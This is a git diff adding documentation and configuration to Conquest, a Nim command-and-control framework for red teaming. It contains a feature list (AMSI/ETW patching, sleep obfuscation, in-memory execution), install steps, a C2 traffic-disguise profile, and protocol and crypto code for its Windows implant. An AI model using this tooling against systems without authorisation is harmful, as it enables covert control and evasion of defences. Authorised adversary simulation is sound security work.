67
README.md
@@ -1,11 +1,60 @@
|
|||||||
# Conquest Framework
|

|
||||||
|
|
||||||
Compile with Nim:
|
**Conquest** is a feature-rich, extensible and malleable command & control/post-exploitation framework developed for penetration testing and adversary simulation. Conquest's team server, operator client and agent have all been developed from scratch using the Nim programming language and are designed with modularity and flexibility in mind. It features custom C2 communication via binary packets over HTTP, a client GUI developed using Dear ImGui and the `Monarch` agent, a modular C2 implant aimed at Windows targets.
|
||||||
```
|
|
||||||
nim c src/server/main.nim
|
|
||||||
```
|
|
||||||
|
|
||||||
From the `bin` directory, start the team server:
|

|
||||||
```
|
|
||||||
./server
|
> [!CAUTION]
|
||||||
```
|
> Conquest is designed to be only used for educational purposes, research and authorized security testing of systems that you own or have an explicit permission to attack. The author provides no warranty and accepts no liability for misuse.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
The Conquest team server and operator client are currently meant to be compiled and used on a Ubuntu/Debian-based operating system. For getting the framework up and running, follow the [installation instructions](./docs/1-INSTALLATION.md).
|
||||||
|
|
||||||
|
For more information about architecture, usage and features, check out the [documentation](./docs/README.md)!
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- Flexible operator GUI client developed using Dear ImGui
|
||||||
|
- HTTP listeners with support for callback hosts (Redirectors)
|
||||||
|
- Support for malleable C2 profiles (TOML)
|
||||||
|
- Customizable payload generation
|
||||||
|
- Encrypted C2 communication leveraging AES256-GCM and X25519 key exchange
|
||||||
|
- Sleep obfuscation via Ekko, Zilean or Foliage with support for call stack spoofing
|
||||||
|
- In-memory execution of COFF/BOF files
|
||||||
|
- In-memory execution of .NET assemblies
|
||||||
|
- Token impersonation
|
||||||
|
- AMSI/ETW patching using hardware breakpoints
|
||||||
|
- Compile-time string obfuscation
|
||||||
|
- Wide selection of built-in post-exploitation modules
|
||||||
|
- Looting and loot management (downloads & screenshots)
|
||||||
|
- Logging of all operator activity
|
||||||
|
- Self-destruct functionality
|
||||||
|
- Agent kill date & working hours
|
||||||
|
- Fully written in Nim
|
||||||
|
|
||||||
|
## Screenshots
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Acknowledgements
|
||||||
|
|
||||||
|
The following projects and people have significantly inspired and/or helped with the development of this framework.
|
||||||
|
|
||||||
|
- Inspiration:
|
||||||
|
- [Havoc](https://github.com/havocFramework/havoc) by [C5pider](https://github.com/Cracked5pider)
|
||||||
|
- [Cobalt Strike](https://www.cobaltstrike.com)
|
||||||
|
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2/)
|
||||||
|
- Development:
|
||||||
|
- [imguin](https://github.com/dinau/imguin) by [dinau](https://github.com/dinau/) (ImGui Wrapper for Nim)
|
||||||
|
- [MalDev Academy](https://maldevacademy.com/)
|
||||||
|
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
|
||||||
|
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
|
||||||
|
- [winim](https://github.com/khchen/winim)
|
||||||
|
- [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim)
|
||||||
|
- Existing C2's written (partially) in Nim
|
||||||
|
- [NimPlant](https://github.com/chvancooten/NimPlant)
|
||||||
|
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
|
||||||
|
- [grc2](https://github.com/andreiverse/grc2)
|
||||||
BIN
assets/agent-1.png
Normal file
|
After Width: | Height: | Size: 114 KiB |
BIN
assets/agent-2.png
Normal file
|
After Width: | Height: | Size: 18 KiB |
BIN
assets/agent-3.png
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
assets/agent-4.png
Normal file
|
After Width: | Height: | Size: 88 KiB |
BIN
assets/agent-5.png
Normal file
|
After Width: | Height: | Size: 104 KiB |
BIN
assets/agent-6.png
Normal file
|
After Width: | Height: | Size: 58 KiB |
BIN
assets/agent-7.png
Normal file
|
After Width: | Height: | Size: 52 KiB |
BIN
assets/agent.png
Normal file
|
After Width: | Height: | Size: 50 KiB |
BIN
assets/architecture-1.png
Normal file
|
After Width: | Height: | Size: 1.4 MiB |
BIN
assets/architecture-2.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
assets/architecture-3.png
Normal file
|
After Width: | Height: | Size: 16 KiB |
BIN
assets/banner.png
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
assets/client-1.png
Normal file
|
After Width: | Height: | Size: 107 KiB |
BIN
assets/client-2.png
Normal file
|
After Width: | Height: | Size: 116 KiB |
BIN
assets/client-3.png
Normal file
|
After Width: | Height: | Size: 340 KiB |
BIN
assets/client-5.png
Normal file
|
After Width: | Height: | Size: 110 KiB |
BIN
assets/client-7.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
assets/client-8.png
Normal file
|
After Width: | Height: | Size: 129 KiB |
BIN
assets/client-9.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
assets/client.png
Normal file
|
After Width: | Height: | Size: 81 KiB |
BIN
assets/install.png
Normal file
|
After Width: | Height: | Size: 49 KiB |
BIN
assets/listener.png
Normal file
|
After Width: | Height: | Size: 27 KiB |
BIN
assets/modules-1.png
Normal file
|
After Width: | Height: | Size: 57 KiB |
BIN
assets/modules-2.png
Normal file
|
After Width: | Height: | Size: 197 KiB |
BIN
assets/modules-3.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
assets/modules-4.png
Normal file
|
After Width: | Height: | Size: 130 KiB |
BIN
assets/modules-5.png
Normal file
|
After Width: | Height: | Size: 135 KiB |
BIN
assets/modules-6.png
Normal file
|
After Width: | Height: | Size: 314 KiB |
BIN
assets/modules-7.png
Normal file
|
After Width: | Height: | Size: 152 KiB |
BIN
assets/modules-8.png
Normal file
|
After Width: | Height: | Size: 227 KiB |
BIN
assets/modules-9.png
Normal file
|
After Width: | Height: | Size: 229 KiB |
BIN
assets/modules.png
Normal file
|
After Width: | Height: | Size: 84 KiB |
BIN
assets/profile-1.png
Normal file
|
After Width: | Height: | Size: 76 KiB |
BIN
assets/profile-2.png
Normal file
|
After Width: | Height: | Size: 112 KiB |
BIN
assets/profile-3.png
Normal file
|
After Width: | Height: | Size: 92 KiB |
BIN
assets/readme-1.png
Normal file
|
After Width: | Height: | Size: 736 KiB |
BIN
assets/readme-2.png
Normal file
|
After Width: | Height: | Size: 294 KiB |
BIN
assets/readme-3.png
Normal file
|
After Width: | Height: | Size: 2.5 MiB |
@@ -29,4 +29,6 @@ requires "imguin >= 1.92.2.1"
|
|||||||
requires "zippy >= 0.10.16"
|
requires "zippy >= 0.10.16"
|
||||||
requires "mummy >= 0.4.6"
|
requires "mummy >= 0.4.6"
|
||||||
requires "whisky >= 0.1.3"
|
requires "whisky >= 0.1.3"
|
||||||
requires "native_dialogs >= 0.2.0"
|
requires "native_dialogs >= 0.2.0"
|
||||||
|
requires "pixie >= 5.1.0"
|
||||||
|
requires "cligen >= 1.9.3"
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
# Conquest default configuration file
|
# Conquest default configuration file
|
||||||
|
|
||||||
name = "cq-default-profile"
|
name = "cq-default-profile"
|
||||||
|
|
||||||
|
|
||||||
# Important file paths and locations
|
# Important file paths and locations
|
||||||
private-key-file = "data/keys/conquest-server_x25519_private.key"
|
private-key-file = "data/keys/conquest-server_x25519_private.key"
|
||||||
database-file = "data/conquest.db"
|
database-file = "data/conquest.db"
|
||||||
@@ -11,26 +9,23 @@ database-file = "data/conquest.db"
|
|||||||
[team-server]
|
[team-server]
|
||||||
port = 37573
|
port = 37573
|
||||||
|
|
||||||
[server.users]
|
# [team-server.users]
|
||||||
|
|
||||||
|
|
||||||
# General agent settings
|
|
||||||
[agent]
|
|
||||||
sleep = 5
|
|
||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
|
||||||
|
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
# HTTP GET
|
# HTTP GET
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
# Defines URI endpoints for HTTP GET requests
|
# Defines URI endpoints for HTTP GET requests
|
||||||
[http-get]
|
[http-get]
|
||||||
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
|
# Defines URI endpoints for HTTP GET requests
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/get",
|
"/get",
|
||||||
"/api/v1.2/status.js"
|
"/api/v1.2/status.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Defines where the heartbeat is placed within the HTTP GET request
|
# Defines where the heartbeat is placed within the HTTP GET request
|
||||||
# Allows for data transformation using encoding (base64, base64url, ...), appending and prepending of strings
|
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings
|
||||||
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
|
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
|
||||||
# Encoding is only applied to the payload and not the prepended or appended strings
|
# Encoding is only applied to the payload and not the prepended or appended strings
|
||||||
[http-get.agent.heartbeat]
|
[http-get.agent.heartbeat]
|
||||||
@@ -52,7 +47,10 @@ suffix = ".######################################-####"
|
|||||||
# Defines arbitrary URI parameters that are added to the request
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
[http-get.agent.parameters]
|
[http-get.agent.parameters]
|
||||||
id = "#####-#####"
|
id = "#####-#####"
|
||||||
lang = "en-US"
|
lang = [
|
||||||
|
"en-US",
|
||||||
|
"de-AT"
|
||||||
|
]
|
||||||
|
|
||||||
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
||||||
[http-get.agent.headers]
|
[http-get.agent.headers]
|
||||||
@@ -83,6 +81,8 @@ placement = { type = "body" }
|
|||||||
# HTTP POST
|
# HTTP POST
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
[http-post]
|
[http-post]
|
||||||
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP POST requests
|
# Defines URI endpoints for HTTP POST requests
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/post",
|
"/post",
|
||||||
|
|||||||
73
docs/1-INSTALLATION.md
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
# Installation
|
||||||
|
|
||||||
|
## 1. Clone the Conquest repository
|
||||||
|
```
|
||||||
|
git clone https://github.com/jakobfriedl/conquest
|
||||||
|
cd conquest
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Install Nim.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
|
||||||
|
```
|
||||||
|
|
||||||
|
After it is installed, the Nim binaries need to be added to the PATH. This is done by adding the following line to the `.bashrc`/`.zshrc`/`.profile` configuration.
|
||||||
|
|
||||||
|
```
|
||||||
|
export PATH=/home/<user>/.nimble/bin:$PATH
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Install dependencies
|
||||||
|
|
||||||
|
The Conquest binaries for team server and client are designed to be compiled and run on Ubuntu/Debian-based systems. The operator client requires the subsequent dependencies to be installed. To run the client on a Windows host, install the same dependencies in WSL.
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt update
|
||||||
|
sudo apt install gcc g++ make git curl xz-utils
|
||||||
|
sudo apt install libglfw3-dev libgl1-mesa-dev libglu1-mesa-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libgtk2.0-0
|
||||||
|
```
|
||||||
|
|
||||||
|
In some cases, the agent build process fails due to insufficient permissions. Execute the following command to make the build script executable.
|
||||||
|
|
||||||
|
```
|
||||||
|
chmod +x src/agent/build.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4. Compile Conquest binaries
|
||||||
|
|
||||||
|
The Conquest binaries are compiled using the `nimble` command, which installs and updates all Nim libraries and dependencies automatically.
|
||||||
|
|
||||||
|
```
|
||||||
|
nimble server
|
||||||
|
nimble client
|
||||||
|
```
|
||||||
|
|
||||||
|
Optionally, the required dependencies can be installed manually using the following command prior to the compilation.
|
||||||
|
|
||||||
|
```
|
||||||
|
nimble install -d
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5. Start the Conquest team server with a C2 profile.
|
||||||
|
|
||||||
|
The default profile is located in [data/profile.toml](../data/profile.toml) and can be adapted by the operator.
|
||||||
|
```
|
||||||
|
bin/server -p data/profile
|
||||||
|
```
|
||||||
|
|
||||||
|
On the first start, the Conquest team server creates the Conquest database in the data directory, as well as the team server's private key in data/keys, which is used for the key exchange between team server, client and agent.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 6. Start the Conquest operator client
|
||||||
|
|
||||||
|
```
|
||||||
|
bin/client
|
||||||
|
```
|
||||||
|
|
||||||
|
By default, the Conquest client connects to localhost:37573 to connect to the team server. In order to connect to a remote team server, the address and port can be specified from the command-line using the `-i` and `-p` flags. The team server port can be configured in the malleable C2 profile used by the server.
|
||||||
|
|
||||||
|
```
|
||||||
|
bin/client -i <team-server-address> -p <team-server-port>
|
||||||
|
```
|
||||||
352
docs/2-ARCHITECTURE.md
Normal file
@@ -0,0 +1,352 @@
|
|||||||
|
# Architecture <!-- omit from toc -->
|
||||||
|
|
||||||
|
## Contents <!-- omit from toc -->
|
||||||
|
- [Components](#components)
|
||||||
|
- [Team Server](#team-server)
|
||||||
|
- [Operator Client](#operator-client)
|
||||||
|
- [Agent (Monarch)](#agent-monarch)
|
||||||
|
- [Communication Protocol](#communication-protocol)
|
||||||
|
- [Registration](#registration)
|
||||||
|
- [Heartbeat](#heartbeat)
|
||||||
|
- [Task](#task)
|
||||||
|
- [Result](#result)
|
||||||
|
- [Cryptography](#cryptography)
|
||||||
|
- [Directory Structure](#directory-structure)
|
||||||
|
- [Logging](#logging)
|
||||||
|
- [Looting](#looting)
|
||||||
|
|
||||||
|
|
||||||
|
## Components
|
||||||
|
|
||||||
|
The Conquest command & control framework consist of three major components that interact with each other in different ways. Together, they enable penetration tester and red teamers to remotely control systems, transfer files and more. The diagram below shows Conquests's overall architecture.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### Team Server
|
||||||
|
|
||||||
|
The Conquest team server is the core of the framework, as it's main responsibility is serving the HTTP listeners with which the C2 agents communicate and queuing the tasks that are issued by the operator client. The team server further manages data about agents, listeners and loot in the Conquest database and records all agent and operator activity in log files. The team server exposes a WebSocket interface on port 37573 by default, which is used by the operator client to connect to the team server. This port can be changed in the C2 profile in the `[team-server]` section.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
[team-server]
|
||||||
|
port = 37573
|
||||||
|
```
|
||||||
|
|
||||||
|
Starting the team server with the default profile is done with the following command.
|
||||||
|
|
||||||
|
```
|
||||||
|
bin/server -p data/profile.toml
|
||||||
|
```
|
||||||
|
|
||||||
|
### Operator Client
|
||||||
|
|
||||||
|
The Conquest client is used by the operator to conduct the engagement. It is used for starting and stopping listeners, generating `Monarch` payloads and interacting with active agent sessions. The agent console is used to send commands to the agent and display the output. Currently, only one client can connect to the Conquest team server. By default, the client connects to localhost:37573, but the address and port can be specified in the command-line as shown below.
|
||||||
|
|
||||||
|
```
|
||||||
|
bin/client -i <team-server-ip> -p <team-server-port>
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
More information about the user interface can be found [here](./4-CLIENT.md)
|
||||||
|
|
||||||
|
### Agent (Monarch)
|
||||||
|
|
||||||
|
The agent/implant/payload/beacon in Conquest is called `Monarch`. It is exclusively built to target Windows systems and can be equipped with different modules or commands during the generation. An agent is compiled to connect to a specific listener and has it's configuration embedded during the generation process. When it connects back to the team server, it can be tasked to execute the commands that have been built into it. As most other C2 agents, the `Monarch` uses beaconing to check-in with the team server periodically to poll for new tasks or to post the results of completed tasks. This is done over HTTP using a custom binary communication protocol, which is explained in more detail in subsequent sections.
|
||||||
|
|
||||||
|
## Communication Protocol
|
||||||
|
|
||||||
|
Conquest’s C2 communication occurs over HTTP and uses 4 distinct types of packets:
|
||||||
|
|
||||||
|
- **Registration**: The first message that a new agent sends to the team server to register itself to it. Contains metadata to identify the agent and the system it is running on, such as the IP-address, hostname and current username.
|
||||||
|
- **Heartbeat**: Small check-in requests that tell the team server that the agent is still alive and waiting for tasks.
|
||||||
|
- **Task**: When an operator interacts with an agents and executes a command, a task packet is dispatched that contains the command to be executed and all arguments.
|
||||||
|
- **Result**: After an agent completes a task, it sends a packet containing the command output to the team server, which displays the result to the operator.
|
||||||
|
|
||||||
|
Each packet consists of a fixed-size header and a variable-length body, with the header containing important unencrypted metadata that helps the recipient process the rest of the packet. Among other fields, it contains the 4-byte hex-identifier of the agent, which tells the team server which agent is polling for tasks or posting results. The variable-length payload body is encrypted using AES-256 GCM using a asymmetrically shared session key and a randomly generated initialization vector (IV), which is included in the header for every message. The GCM mode of operation creates the 16-byte Galois Message Authentication Code (GMAC), which is used to verify that the message has not been tampered with. The cryptographic implementations are more thoroughly explained in the [Cryptography](#cryptography) section.
|
||||||
|
|
||||||
|
```
|
||||||
|
0 1 2 3 4
|
||||||
|
├───────────────┴───────────────┴───────────────┴───────────────┤
|
||||||
|
4 │ Magic Value │
|
||||||
|
├───────────────┬───────────────┬───────────────────────────────┤
|
||||||
|
8 │ Version │ Packet Type │ Packet Flags │
|
||||||
|
├───────────────┴───────────────┴───────────────────────────────┤
|
||||||
|
12 │ Payload Size │
|
||||||
|
├───────────────────────────────────────────────────────────────┤
|
||||||
|
16 │ Agent ID │
|
||||||
|
├───────────────────────────────────────────────────────────────┤
|
||||||
|
20 │ Sequence Number │
|
||||||
|
├───────────────────────────────────────────────────────────────┤
|
||||||
|
24 │ │
|
||||||
|
28 │ IV (12 bytes) │
|
||||||
|
32 │ │
|
||||||
|
├───────────────────────────────────────────────────────────────┤
|
||||||
|
36 │ │
|
||||||
|
40 │ GMAC Authentication Tag │
|
||||||
|
44 │ (16 bytes) │
|
||||||
|
48 │ │
|
||||||
|
└───────────────────────────────────────────────────────────────┘
|
||||||
|
[Header]
|
||||||
|
```
|
||||||
|
|
||||||
|
Here is the Nim type for the Header:
|
||||||
|
```nim
|
||||||
|
type Header* = object
|
||||||
|
magic*: uint32 # [4 bytes ] magic value
|
||||||
|
version*: uint8 # [1 byte ] protocol version
|
||||||
|
packetType*: uint8 # [1 byte ] message type
|
||||||
|
flags*: uint16 # [2 bytes ] message flags
|
||||||
|
size*: uint32 # [4 bytes ] size of the payload body
|
||||||
|
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption
|
||||||
|
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
|
||||||
|
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
|
||||||
|
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
|
||||||
|
```
|
||||||
|
|
||||||
|
### Registration
|
||||||
|
|
||||||
|
The **Registration** packet is the first packet that is sent from the agent to the team server. The `packetType` field in the header is set to `MSG_REGISTER`, which tells the team server to handle the request as a new connection. The `agentId` field in the header is set to a randomly generated 4-byte Hex-UUID, which is used to uniquely identify the agent all further communication. The packet body includes important metadata about the system the agent is executed on, such as username, domain and IP address. Furthermore, it also contains the agent's public key, which is used by the team server to derive the session key, with which the communication between them. Variable length data is handled using a TLV (type-length-value) approach. For instance, strings are prefixed with a 4-byte length indicator, instructing the unpacker how many bytes need to be read to retrieve the value.
|
||||||
|
|
||||||
|
```nim
|
||||||
|
type
|
||||||
|
AgentMetadata* = object
|
||||||
|
listenerId*: Uuid
|
||||||
|
username*: seq[byte]
|
||||||
|
hostname*: seq[byte]
|
||||||
|
domain*: seq[byte]
|
||||||
|
ip*: seq[byte]
|
||||||
|
os*: seq[byte]
|
||||||
|
process*: seq[byte]
|
||||||
|
pid*: uint32
|
||||||
|
isElevated*: uint8
|
||||||
|
sleep*: uint32
|
||||||
|
jitter*: uint32
|
||||||
|
modules*: uint32
|
||||||
|
|
||||||
|
Registration* = object
|
||||||
|
header*: Header
|
||||||
|
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
|
||||||
|
metadata*: AgentMetadata
|
||||||
|
```
|
||||||
|
|
||||||
|
### Heartbeat
|
||||||
|
|
||||||
|
The **Heartbeat** packet is comparable to a simple Check-in request. Between sleep delays, the agent sends this packet to the team server to poll for new tasks. It also serves as a way to tell if an agent is still alive and active, or has become unresponsive.
|
||||||
|
|
||||||
|
```nim
|
||||||
|
type Heartbeat* = object
|
||||||
|
header*: Header # [48 bytes ] fixed header
|
||||||
|
listenerId*: Uuid # [4 bytes ] listener id
|
||||||
|
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||||
|
```
|
||||||
|
|
||||||
|
### Task
|
||||||
|
|
||||||
|
When a new **Task** is dispatched and fetched by an agent, a packet with the structure outlined by the Nim code below is created. It contains the ID of the task, listener and command to be executed, as well as a list of arguments that have been passed to the command.
|
||||||
|
|
||||||
|
```nim
|
||||||
|
type
|
||||||
|
TaskArg* = object
|
||||||
|
argType*: uint8 # [1 byte ] argument type
|
||||||
|
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
|
||||||
|
|
||||||
|
Task* = object
|
||||||
|
header*: Header
|
||||||
|
taskId*: Uuid # [4 bytes ] task id
|
||||||
|
listenerId*: Uuid # [4 bytes ] listener id
|
||||||
|
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||||
|
command*: uint16 # [2 bytes ] command id
|
||||||
|
argCount*: uint8 # [1 byte ] number of arguments
|
||||||
|
args*: seq[TaskArg] # variable length arguments
|
||||||
|
```
|
||||||
|
|
||||||
|
The number of arguments the agent needs to process is indicated by the argument count (argc) field. The first byte of an argument defines the argument’s type, such as INT, STRING or BINARY. While some argument types have fixed sized (boolean = 1 byte, integers = 4 bytes, …), variable-length arguments, such as strings or binary data are further prefixed with a 4-byte data length field that tells the recipient how many bytes they have to read until the next argument is defined. The currently supported argument types, `STRING`, `INT`, `SHORT`, `LONG`, `BOOL` and `BINARY` determine how an argument is processed. For instance, `BINARY` indicates that file path is passed as an argument, which is then read into memory and sent over the network.
|
||||||
|
|
||||||
|
### Result
|
||||||
|
|
||||||
|
For each task that an agent executes, a result packet is sent to the team server. This packet is structured similarly to the task, with the difference being that it contains the task output instead of the arguments. The Status field indicates whether the task was completed successfully or if an error was encountered during the execution. The Type field informs the team server of the data type of the task output, with the options being `STRING`, `BINARY` or `NO_OUTPUT`. While string data would be displayed in the user interface to the operator, binary data is written directly to a file.
|
||||||
|
|
||||||
|
```
|
||||||
|
0 2 4 6 8
|
||||||
|
├───────────────┴───────────────┴───────────────┴───────────────┤
|
||||||
|
0 │ |
|
||||||
|
| Header (48 bytes) |
|
||||||
|
| |
|
||||||
|
├───────────────────────────────┬───────────────────────────────┤
|
||||||
|
48 │ Task ID │ Listener ID │
|
||||||
|
├───────────────────────────────┼───────────────┬────────┬──────┤
|
||||||
|
56 | Timestamp │ CMD │ Status │ Type │
|
||||||
|
├───────────────────────────────┼───────────────┴────────┴──────┤
|
||||||
|
64 │ Length │ │
|
||||||
|
├───────────────────────────────┘ │
|
||||||
|
│ │
|
||||||
|
│ Result Data │
|
||||||
|
?? │ │
|
||||||
|
└───────────────────────────────────────────────────────────────┘
|
||||||
|
[Result]
|
||||||
|
```
|
||||||
|
|
||||||
|
```nim
|
||||||
|
type TaskResult* = object
|
||||||
|
header*: Header
|
||||||
|
taskId*: Uuid # [4 bytes ] task id
|
||||||
|
listenerId*: Uuid # [4 bytes ] listener id
|
||||||
|
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||||
|
command*: uint16 # [2 bytes ] command id
|
||||||
|
status*: uint8 # [1 byte ] success flag
|
||||||
|
resultType*: uint8 # [1 byte ] result data type
|
||||||
|
length*: uint32 # [4 bytes ] result length
|
||||||
|
data*: seq[byte] # variable length result
|
||||||
|
```
|
||||||
|
|
||||||
|
## Cryptography
|
||||||
|
|
||||||
|
As mentioned before, the payload body of a network packet is serialized and encrypted. With symmetric ciphers like AES, the agent and team server have to agree on the same encryption key to process the data. However, the key exchange is far more difficult than just sending a randomly generated key over the network, as this would allow anyone to intercept and use it to decrypt and read the C2 traffic. The solution to this dilemma is public key cryptography. The server and all agents own a key pair, consisting of a private key that is kept secret and a public key which can be shared with everyone. The shared secret is computed using the X255192 key exchange, which is based on elliptic-curve cryptography. On a high level, it involves the following steps:
|
||||||
|
|
||||||
|
- Both parties generate a **32-byte private key**, from which they derive the corresponding public key.
|
||||||
|
- Both parties calculate a **shared secret** by using their own private key and the other’s public key.
|
||||||
|
- A 32-byte session key is derived from the shared secret, which is used to encrypt all C2 communication.
|
||||||
|
- Ephemeral keys, such as the agent’s private key and the shared secret are **wiped from memory** as soon as they are no longer needed to prevent them from being compromised.
|
||||||
|
|
||||||
|
The X25519 implementation used in Conquest is exposed by the [Monocypher](https://monocypher.org/) library. The shared secret is not suitable to be used as the encryption key, as it is not cryptographically random. To derive a session key, the secret is hashed using the Blake2B hashing algorithm along with some other information, such as the public keys and a message, to create a secure 32-byte key.
|
||||||
|
|
||||||
|
```nim
|
||||||
|
# Key derivation
|
||||||
|
proc combineKeys(publicKey, otherPublicKey: Key): Key =
|
||||||
|
# XOR is a commutative operation, that ensures that the order of the public keys does not matter
|
||||||
|
for i in 0..<32:
|
||||||
|
result[i] = publicKey[i] xor otherPublicKey[i]
|
||||||
|
|
||||||
|
proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
|
||||||
|
var key: Key
|
||||||
|
|
||||||
|
# Calculate shared secret (https://monocypher.org/manual/x25519)
|
||||||
|
var sharedSecret = keyExchange(keyPair.privateKey, publicKey)
|
||||||
|
|
||||||
|
# Add combined public keys to hash
|
||||||
|
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
|
||||||
|
let hashMessage: seq[byte] = "CONQUEST".toBytes() & @combinedKeys
|
||||||
|
|
||||||
|
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
|
||||||
|
let hash = blake2b(hashMessage, sharedSecret)
|
||||||
|
copyMem(key[0].addr, hash[0].addr, sizeof(Key))
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
wipeKey(sharedSecret)
|
||||||
|
|
||||||
|
return key
|
||||||
|
```
|
||||||
|
|
||||||
|
When a `Monarch` is generated, it has the public key of the team server patched into it's binary. When the agent is executed, it generates its own key pair. Using the newly created private key and the servers’ public key, it subsequently derives the session key used for the packet encryption. At that point, the agent can wipe its own private key from memory, as it is no longer needed. For the server to be able to derive the same session key, the agent includes its public key in the registration packet, as mentioned before. When the server deserializes and parses the registration packet, it uses its own private key and the agent’s public key to derive the same session key and stores it in a database. Following this exchange, all communication between an agent and the server is encrypted using this session key as explained in the following section.
|
||||||
|
|
||||||
|
With the key exchange completed, what follows is the encryption of a network packet’s body using the AES-256 block cipher in the Galois/Counter Mode (GCM) mode of operation. GCM provides authenticated encryption with associated data (AEAD), ensuring that both confidentiality and integrity are guaranteed. This is achieved by combining the Counter Mode (CTR) for encryption and GHASH for authentication. In addition to encrypting the data, an authentication tag, also known as Galois Message Authentication Code (GMAC) is calculated based on the encrypted data and additional authenticated data (AAD). AAD is any unencrypted data, for which integrity and authenticity should be ensured, such as the sequence number that prevents packet replay attacks. If the ciphertext or sequence number of a packet are modified before it is received, the recipient’s recalculation of the 16-byte GMAC will not match the tag included in the packet header, allowing the server or agent to detect tampering and discard the packet.
|
||||||
|
|
||||||
|
```nim
|
||||||
|
import nimcrypto
|
||||||
|
|
||||||
|
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
|
||||||
|
|
||||||
|
# Encrypt data using AES-256 GCM
|
||||||
|
var encData = newSeq[byte](data.len)
|
||||||
|
var tag: AuthenticationTag
|
||||||
|
|
||||||
|
var ctx: GCM[aes256]
|
||||||
|
ctx.init(key, iv, sequenceNumber.toBytes())
|
||||||
|
|
||||||
|
ctx.encrypt(data, encData)
|
||||||
|
ctx.getTag(tag)
|
||||||
|
ctx.clear()
|
||||||
|
|
||||||
|
return (encData, tag)
|
||||||
|
|
||||||
|
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
|
||||||
|
|
||||||
|
# Decrypt data using AES-256 GCM
|
||||||
|
var data = newSeq[byte](encData.len)
|
||||||
|
var tag: AuthenticationTag
|
||||||
|
|
||||||
|
var ctx: GCM[aes256]
|
||||||
|
ctx.init(key, iv, sequenceNumber.toBytes())
|
||||||
|
|
||||||
|
ctx.decrypt(encData, data)
|
||||||
|
ctx.getTag(tag)
|
||||||
|
ctx.clear()
|
||||||
|
|
||||||
|
return (data, tag)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Directory Structure
|
||||||
|
|
||||||
|
On a high level, the directory structure of the Conquest framework looks as follows.
|
||||||
|
|
||||||
|
```
|
||||||
|
CONQUEST
|
||||||
|
├── bin/ : Compiled binaries
|
||||||
|
├── data/
|
||||||
|
│ ├── keys/ : Private key(s)
|
||||||
|
│ ├── logs/
|
||||||
|
│ │ ├── <AGENT-UUID>/ : Agent session logs
|
||||||
|
│ │ ├── teamserver.log : Team server log (connections, events)
